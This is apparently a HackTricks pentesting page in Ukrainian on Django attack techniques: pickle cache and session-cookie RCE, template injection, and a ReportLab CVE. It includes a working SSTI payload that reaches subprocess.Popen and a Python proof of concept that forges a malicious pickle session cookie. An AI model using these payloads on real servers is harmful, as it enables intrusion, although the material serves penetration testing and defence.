Django
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Cache Manipulation to RCE
Метод збереження кешу за замовчуванням у Django — Python pickles, що може призвести до RCE, якщо untrusted input is unpickled. Якщо атакуючий може отримати доступ на запис у кеш, він може ескалувати цю вразливість до RCE на підлягаючому сервері.
Кеш Django зберігається в одному з чотирьох місць: Redis, memory, files, або в database. Кеш, що зберігається в Redis або базі даних, найімовірніше є вектором атаки (Redis injection та SQL injection), але атакуючий також може використати file-based cache, щоб перетворити довільний запис у RCE. Мейнтейнери позначили це як неістотну проблему. Важливо зазначити, що папка з файлами кешу, ім'я SQL-таблиці та деталі Redis-сервера залежать від реалізації.
Цей звіт на HackerOne містить відмінний відтворюваний приклад експлуатації кешу Django, збереженого в SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is Turing-complete. Якщо дані, надані користувачем, рендеряться як template string (наприклад через виклик Template(user_input).render()
або коли |safe
/format_html()
вимикають авто-екранування), атакуючий може досягти повного SSTI → RCE.
Виявлення
- Шукайте динамічні виклики
Template()
/Engine.from_string()
/render_to_string()
, що включають будь-які неналежно оброблені дані запиту. - Надішліть тайм-орієнтований або арифметичний payload:
{{7*7}}
Якщо в результаті рендерингу міститься 49
, введення компілюється шаблонним рушієм.
Примітив для RCE
Django блокує прямий доступ до __import__
, але граф об'єктів Python доступний:
{{''.__class__.mro()[1].__subclasses__()}}
Знайдіть індекс subprocess.Popen
(≈400–500 залежно від збірки Python) і виконайте довільні команди:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Більш безпечний універсальний gadget — ітерувати, поки cls.__name__ == 'Popen'
.
Той самий gadget працює для Debug Toolbar або Django-CMS функцій рендерингу шаблонів, які неправильно обробляють введення користувача.
Див. також: ReportLab/xhtml2pdf PDF export RCE
Додатки, побудовані на Django, зазвичай інтегрують xhtml2pdf/ReportLab для експорту views у PDF. Якщо HTML, контрольований користувачем, потрапляє у генерацію PDF, rl_safe_eval може обчислювати вирази всередині потрійних дужок [[[ ... ]]]
, що дозволяє виконання коду (CVE-2023-33733). Деталі, payloads, та mitigations:
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
RCE в сесійних cookie на основі Pickle
Якщо налаштовано SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
(або використовується кастомний serializer, який десеріалізує pickle), Django розшифровує та розпаковує сесійний cookie перед викликом будь-якого коду view. Тому володіння дійсним signing key (проектний SECRET_KEY
за замовчуванням) достатнє для негайного remote code execution.
Вимоги експлуатації
- Сервер використовує
PickleSerializer
. - Атакувальник знає / може вгадати
settings.SECRET_KEY
(leaks via GitHub,.env
, error pages, etc.).
Доказ концепції
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Надішліть отримане cookie, і payload виконається з правами WSGI worker.
Заходи пом'якшення: Залишайте стандартний JSONSerializer
, регулярно змінюйте SECRET_KEY
та налаштуйте SESSION_COOKIE_HTTPONLY
.
Недавні (2023–2025) високовпливові CVE Django, які Pentesters мають перевірити
- CVE-2025-48432 – Log Injection via unescaped
request.path
(виправлено 4 червня 2025). Дозволяє атакуючим впроваджувати перенос рядка/ANSI-коди у файли логів і псувати подальший аналіз логів. Патч-рівень ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Critical SQL injection у
QuerySet.values()/values_list()
наJSONField
(CVSS 9.8). Сформуйте JSON-ключі, щоб вийти із цитування і виконати довільний SQL. Виправлено в 4.2.15 / 5.0.8.
Завжди ідентифікуйте точну версію фреймворку через сторінку помилки X-Frame-Options
або хеш /static/admin/css/base.css
і перевіряйте наведене вище там, де це доречно.
Джерела
- Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 червня 2025.
- OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 серпня 2024.
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.